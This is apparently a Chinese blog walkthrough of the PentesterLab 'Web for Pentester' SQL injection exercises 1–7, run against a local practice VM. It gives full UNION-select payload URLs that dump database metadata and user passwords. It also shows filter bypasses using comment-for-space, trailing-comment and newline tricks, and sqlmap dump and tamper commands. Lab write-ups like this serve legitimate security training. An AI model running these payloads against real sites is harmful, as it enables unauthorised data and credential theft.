Web for Pentester SQL注入example 1-7 答案解析

pentester lab镜像下载地址为https://pentesterlab.com/exercises/web_for_pentester/course,下载.iso镜像,在虚拟机中搭建,查看虚拟机ip,在浏览器中输入虚拟机Ip,即可看到练习题界面,sql注入的界面如图所示:
Web for Pentester SQL注入example 1-7 答案解析_第1张图片
一、example 1
1、首先判断是否存在注入点及注入类型
Web for Pentester SQL注入example 1-7 答案解析_第2张图片
Web for Pentester SQL注入example 1-7 答案解析_第3张图片
由此可知,存在字符型注入,且没有设置过滤。
2、判断后台查询语句中查询的列数:
Web for Pentester SQL注入example 1-7 答案解析_第4张图片
这里写图片描述
说明后台语句查询的列数为5列。
3、查看当前页面输出的列数:
Web for Pentester SQL注入example 1-7 答案解析_第5张图片
由图可知,输出1,2,3列。
4、利用输出的列数查询数据库版本,路径和当前数据库,并查询当前表,表中包含的列及具体值。
http://192.168.152.131/sqli/example1.php?name=root%27%20union%20%20select%20@@version,@@datadir,database(),4,5%23
(1)查询当前数据库中包含的表,注意表明需要用十六进行进行编码
http://192.168.152.131/sqli/example1.php?name=root%27%20union%20%20select%20TABLE_NAME,@@datadir,database(),4,5%20from%20information_schema.TABLES%20where%20TABLE_SCHEMA=0x657865726369736573%23
Web for Pentester SQL注入example 1-7 答案解析_第6张图片
(2)查询当前表中包含的列,表名也要用十六进制进步编码
http://192.168.152.131/sqli/example1.php?name=root%27%20union%20%20select%20COLUMN_NAME,@@datadir,database(),4,5%20from%20information_schema.COLUMNS%20where%20TABLE_NAME=0x7573657273%23

Web for Pentester SQL注入example 1-7 答案解析_第7张图片
(3)由于页面只能显示输出结果中的3列,所以选择输出列中,自己感兴趣的3列属性进行输出,这里我选择name,age,passwd。
http://192.168.152.131/sqli/example1.php?name=root%27%20union%20%20select%20name,age,passwd,4,5%20from%20users%23
Web for Pentester SQL注入example 1-7 答案解析_第8张图片
至此,我们的注入成功,成功获取了管理员的账号和密码。

注:大家也可以利用sqlmap进行注入。
(1)查询当前数据库:sqlmap -u http://192.168.152.131/sqli/example1.php?name=root --dbs
Web for Pentester SQL注入example 1-7 答案解析_第9张图片
(2)查询数据库中对应的表:sqlmap -u http://192.168.152.131/sqli/example1.php?name=root -D exercises --tables
Web for Pentester SQL注入example 1-7 答案解析_第10张图片
(3)查询表中的内容:
sqlmap -u http://192.168.152.131/sqli/example1.php?name=root -D exercises -T users --dump
Web for Pentester SQL注入example 1-7 答案解析_第11张图片
二、example2
1、判断是否存在注入点及其注入类型:
Web for Pentester SQL注入example 1-7 答案解析_第12张图片
由图可知,该题后台设置了空格过滤。
我们可采用/**/代替空格,你也可以搜索sql注入绕过空格过滤方法,这也是本题的知识点。
Web for Pentester SQL注入example 1-7 答案解析_第13张图片
接下来的操作和exaple1中一样,只需把example1中的空格,换成/**/.
2、利用sqlmap,本题过滤了空格,相当于设置了waf,sqlmap中有脚本可绕过空格过滤。
当使用sqlmap -u 192.168.152.131/sqli/example2.php?name=root --dbs输出
Web for Pentester SQL注入example 1-7 答案解析_第14张图片
sqlmap 具有绕waf的相关脚本
sqlmap -u 192.168.152.131/sqli/example2.php?name=root --dbs --tamper=space2comment.py -v
Web for Pentester SQL注入example 1-7 答案解析_第15张图片
Web for Pentester SQL注入example 1-7 答案解析_第16张图片
Web for Pentester SQL注入example 1-7 答案解析_第17张图片
Web for Pentester SQL注入example 1-7 答案解析_第18张图片
example 3和example2答案一样。
三、example 4
本题考查的是数字型sql注入
Web for Pentester SQL注入example 1-7 答案解析_第19张图片
数字型注入。
Web for Pentester SQL注入example 1-7 答案解析_第20张图片
接下来的手工和sqlmap的注入过程和example1差不多,确定输出的列数,确定数据库,表,列,值。
example 5 解答过程和example4一样。
四、example 6
根据答案分析,该题设置必须以数字结尾。
Web for Pentester SQL注入example 1-7 答案解析_第21张图片
手工注入时,确定列的数量,当前数据库,表,列时,payload和example1相同,只是不需要单引号,当查询各列的具体值时,会失败,因为表名不是以数字结尾:
这里写图片描述
根据答案,我们可以在payload后通过注释添加数字进行绕过,payload:
http://192.168.152.131/sqli/example6.php?id=2%20union%20select%20id,name,passwd,4,5%20from%20users%23%20123
Web for Pentester SQL注入example 1-7 答案解析_第22张图片
如何利用sqlmap绕过该限制还在研究中,欢迎各位小伙伴进行讨论。
五、example 7
Web for Pentester SQL注入example 1-7 答案解析_第23张图片
以数字结尾的payload已经不行了,该题又加入了新的限制。
Web for Pentester SQL注入example 1-7 答案解析_第24张图片
后台查询语句用\m进行了限制,行起始”和“行结束”除了匹配整个字符串开头和结束外,还分别匹配其中的换行符的之后和之前,所以我们可以在原语句中加入换行符,在换行符后输入payload:
http://192.168.152.131/sqli/example7.php?id=2%0A%20union%20select%20name,id,passwd,4,5%20from%20users
Web for Pentester SQL注入example 1-7 答案解析_第25张图片
用sqlmap 进行注入时,在url后面加上换行符’\n’的编码‘%0A’
sqlmap -u http://192.168.152.131/sqli/example7.php?id=2%0A --dbs -batch
惊了个呆,用这条语句,竟然一次性将当前数据库,表,列名全部dump出来
Web for Pentester SQL注入example 1-7 答案解析_第26张图片
Web for Pentester SQL注入example 1-7 答案解析_第27张图片

example8和example9不知道该设计怎样的payload,如果你找到了答案,欢迎分享。
总结:
1、做出的这几个题,考查了简单的字符,数字型注入,空格绕过,数字限制绕过,/m绕过。
2、sql注入成功的关键在于,弄清楚后台查询语句的结构,找出后台进行了什么限制,然后想办法绕过。
3、sqlmap跑不出来的,可以尝试手工,比如纯数字限制。

你可能感兴趣的:(web安全,sql注入)